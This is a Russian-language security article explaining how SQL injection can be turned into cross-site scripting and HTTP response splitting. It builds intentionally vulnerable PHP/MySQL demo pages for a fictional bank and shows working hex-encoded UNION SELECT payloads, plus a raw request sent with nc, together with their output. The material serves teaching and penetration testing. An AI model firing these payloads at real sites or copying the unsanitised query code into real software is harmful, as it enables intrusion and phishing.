АНАЛИЗ CROSS SITE SCRIPTING И HTTP RESPONSE SPLITING АТАК

Гончеаренку Виктор

Молдавский Государственный Университет



Введение

Насколько серьезной является уязвимость класса Sql Injection ? Она может обеспечить доступ к информации на сервере, дать возможность выполнять произвольные команды, получить привилегии администратора на web-форуме и многое другое... Как правило эта уязвимость возникает на стороне сервера, но эту уязвимость можно использовать на стороне клиента. Общедоступные и “самописные” CMS (Content Management System – Системы Управления Содержимым сайта) широко используются по ряду причин; одна из таких причин – удобное управление текстовой информацией и ссылками. Этот документ рассказывает о паре альтернативных путей использования Sql Injection. Предположим, что мы разработчики CMS, и эта CMS используется банком... Предположим, что мы случайно оставили уязвимость Sql Injection на web-странице. Но подождите! Нет проблем! Конфигурация базы данных запрещает доступа к файлам и т.д.[1], нет конкретной информации относительно базы данных, нет web-форумов и нет ничего лишнего на сервере...

Всё же это может доставить некоторые проблемы...



SiXSS – SQL инъекции для межсайтового скриптинга

Среда для тестирования

Предположим, имеется база данных и таблица подобная этой:

<code>

# The cms.sql file


CREATE DATABASE cms;


USE cms;


GRANT SELECT ON cms.* TO 'user_noprivs'@'localhost'

IDENTIFIED BY PASSWORD '';


CREATE TABLE content_table (

id INT PRIMARY KEY AUTO_INCREMENT,

content TEXT

);


INSERT INTO content_table (content) VALUES

('<h1>My Bank</h1>


<p><form action="check.php" method=post>

<table>

<tr>

<td>User:</td>

<td><input type="text" name="username"></td>


</tr>

<tr>

<td>Password:</td>

<td><input type="password" name="pass"></td>

</tr>


<tr>

<td><input type=submit value="LogIn"></td>

</tr>

</table>

</form>');


</code>


Также имеется php файл подобный этому (index.php):


<code>

<html>

<head>

<title>My Bank</title>


</head>

<body>

<?

if (@isset($_GET['id'])) {

$myconns=@mysql_connect("127.0.0.1","user_noprivs","")

or die ("sorry can't connect");

@mysql_select_db("cms") or die ("sorry can`t select DB");

$sql_query = @mysql_query(

"select content from content_table where id=".$_GET['id'])

or die("Sorry wrong SQL Query");

// oops SQL Injection - ^

while($tmp = @mysql_fetch_row($sql_query))

echo $tmp[0]; //echos the result as HTML code

} else {

echo "<h1>Welcome to My Bank</h1> <a href=\"?id=1\">Login</a>";

}

?>


</body>

</html>

</code>

Отметим, что запрос к MySQL ожидает получить текст, который будет отображен. Веб приложение анализирует контекст, в начале сеанса вы увидите такую страницу:

После того, как пользователь щёлкнет по ссылке “Login” страница будет такой:



Описание проблемы

Этот вид проблем возникает всегда, когда текст из базы данных выводится в HTML страницу. Если мы попытаемся использовать классические или продвинутые SQL инъекции мы сможем получить информацию о SQL сервере и ничего более.

В таких случаях появляется возможность использовать уязвимости на стороне клиента. Использование UNION SELECT даёт возможность злоумышленнику выводить в окно браузера произвольный текст.



Реализация атаки

Воспользуемся особенностью MySQL, позволяющей преобразовать шестнадцатеричные значения вида 0xXX в текст (для обмана опции gpc_magic_quotes установленной в On):

<code>

mysql> select HEX('<script>alert("SiXSS");</script>');


+--------------------------------------------------------------------------------------------+

| HEX('<script>alert("SiXSS");</script>') |

+--------------------------------------------------------------------------------------------+

| 3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E|

+--------------------------------------------------------------------------------------------+


1 row in set (0.00 sec)



</code>

И поместим это в HTTP запрос:

http://www.mybank.com?id=1+union+select+0x3C7363726970743E
616C6572742822536958535322293B3C2F7363726970743E

И увидим ответ:

Это и есть SQL Injection for Cross Site Scripting.


SiHRS – SQL инъекции для реализации атак HTTP Response Splitting

Среда для тестирования

В CMS или в рекламной системе может возникнуть необходимость в индексации адресов URL, запрос к базе данных должен возвращать URL по определенному id.

Создадим среду для успешного применения SiXSS, на этот раз это будет система перенаправления.

<code>

CREATE DATABASE url_db;

USE url_db;

GRANT SELECT ON url_db.* TO 'user2_nopriv'@'localhost'

IDENTIFIED BY PASSWORD '';

CREATE TABLE url_table (

id INT PRIMARY KEY AUTO_INCREMENT,

url TEXT

);

INSERT INTO url_table (url) VALUES

('https://brokerage.mybank.com/login.php');

</code>

для файла url_db.sql, и:

<code>

<?

if (isset($_GET['id'])) {

$myconns = mysql_connect("127.0.0.1","user2_nopriv","")

or die("sorry can`t connect");

mysql_select_db("url_db") or

die("sorry can`t select DB");

$sql_query = mysql_query("SELECT url from url_table

where id=".$_GET['id']." LIMIT 1") or die("sorry3)";

$tmp = mysql_fetch_row($sql_query);

header("Location: ".$tmp[0]);

} else

header("Location: http://www.mybank.com/index.php");

?>

</code>

redir.php скрипт выполняющий перенаправление.

Это означает, что если сформировать запрос подобно этому:

$ curl “http://www.mybank.com/redir.php?id=1” -I

мы получим ответ, который переадресует нас к другой странице:

HTTP/1.1 302 Found
Date: Mon, 20 Sep 2004 21:08:03 GMT
Server: Apache-AdvancedExtranetServer/2.0.48 (Mandrake Linux/6.1.100mdk) mod_perl/1.99_11 Perl/v5.8.3 PHP/4.3.8 mod_ssl/2.0.48 OpenSSL/0.9.7c
X-Powered-By: PHP/4.3.8
Location: https://brokerage.mybank.com/login.php
Content-Type: text/html

Теоретически становится возможным выполнение атаки HTTP Response Splitting [5].



Описание проблемы

Этот вид проблем возникает всегда, когда есть определенный URL полученный из базы данных для перенаправления, используя поле 'Location' HTTP заголовка. SIHRS должен быть проверен при проведение испытания на проникновение также как и SiXSS, HTTP Response Splitting, XSS и Phishing.

Условия для проведения атаки могут быть ограничены как в примере с SiXSS, но должны быть удобны для использования UNION SELECT для внедрения классических строк, значение которых объясняется в [5].



Реализация атаки

Только ради исследования этой концепции давайте рассмотрим простейший пример атаки:

<code>

mysql> select HEX('index.php

'> Content-Length: 0

'>

'> HTTP/1.1 200 OK

'> Content-Type: text/html

'> Content-Length: 19

'>

'> <html>Shazam</html>

'> ');

</code>

Так это будет выглядеть в шестнадцатеричном коде:

696E6465782E7068700A436F6E74656E742D4C656E6774683A20300D0A0
D0A485454502F312E3120323030204F4B0D0A436F6E74656E742D547970
653A20746578742F68746D6C0D0A436F6E74656E742D4C656E6774683A2
031390D0A0D0A3C68746D6C3E5368617A616D3C2F68746D6C3E0D0A

Далее мы отсылаем отравленный запрос:



$ echo -ne "GET /redir.php?id=1+and+2%3d%34+union+select+0x
696E6465782E7068700A436F6E74656E742D4C656E6774683A20300D0A0
D0A485454502F312E3120323030204F4B0D0A436F6E74656E742D547970
653A20746578742F68746D6C0D0A436F6E74656E742D4C656E6774683A2
031390D0A0D0A3C68746D6C3E5368617A616D3C2F68746D6C3E0D0A
HTTP/1.1\r

<code>

Host: www.mybank.com\r

Pragma: no-cache\r

Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg, */*\r

\r

" |nc www.mybank.com 80


HTTP/1.1 302 Found

Date: Mon, 20 Sep 2004 22:58:21 GMT

Server: Apache PHP/4.3.8

X-Powered-By: PHP/4.3.8

Location: index.php

Content-Length: 0


HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 19


<html>Shazam</html>


Content-Length: 0

Content-Type: text/html

</code>


Дополнение

Что случилось бы если вместо:

<code>

echo $tmp[0]; //выводит результат в виде HTML кода


</code>

в index.php был вызов функции 'eval()' ?

<code>

eval($tmp[0]); //eval выполняет php код расположенный в базе данных..

</code>

На ум приходят страшные мысли..

Используя UNION SELECT мы можем выполнять любой php код, делая уязвимым сервер.



Заключение

Мы показали, что случается, когда разработчики полагаются на хорошую конфигурацию сервера и уделяют меньше внимания безопасному программированию. Мы показали, что SQL инъекции даже в очень ограниченной среде могут таить в себе огромные уязвимости.


Библиография

[1] “Hackproofing MySQL”, NGSS Next Generation Security Software
http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
[2] “The Cross Site Scripting FAQ”, admin@cgisecurity.com
http://www.cgisecurity.com/articles/xss-faq.shtml
[3] “The Evolution of Cross-Site Scripting Attack”,David Hendler, iDefense Labs
http://www.cgisecurity.com/lib/XSS.pdf
[4] “PHISHING SCAMS: Understanding the
http://www.fraudwatchinternational.com/internetfraud/phishing/report.pdf
[5] “'Divide and Conquer' – HTTP Response Spliting, Web Cache Poisoning Attacks, and Related Topics”, Amit Klein, Sanctum Inc
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
[6] “Advanced SQL Injection In SQL Server Applications”, Chris Anley, NGSS Next Generation Security Software
http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
[7] “(More) Advanced SQL Injection In SQL Server Applications”, Chris Anley, NGSS Next Generation Security Software
http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf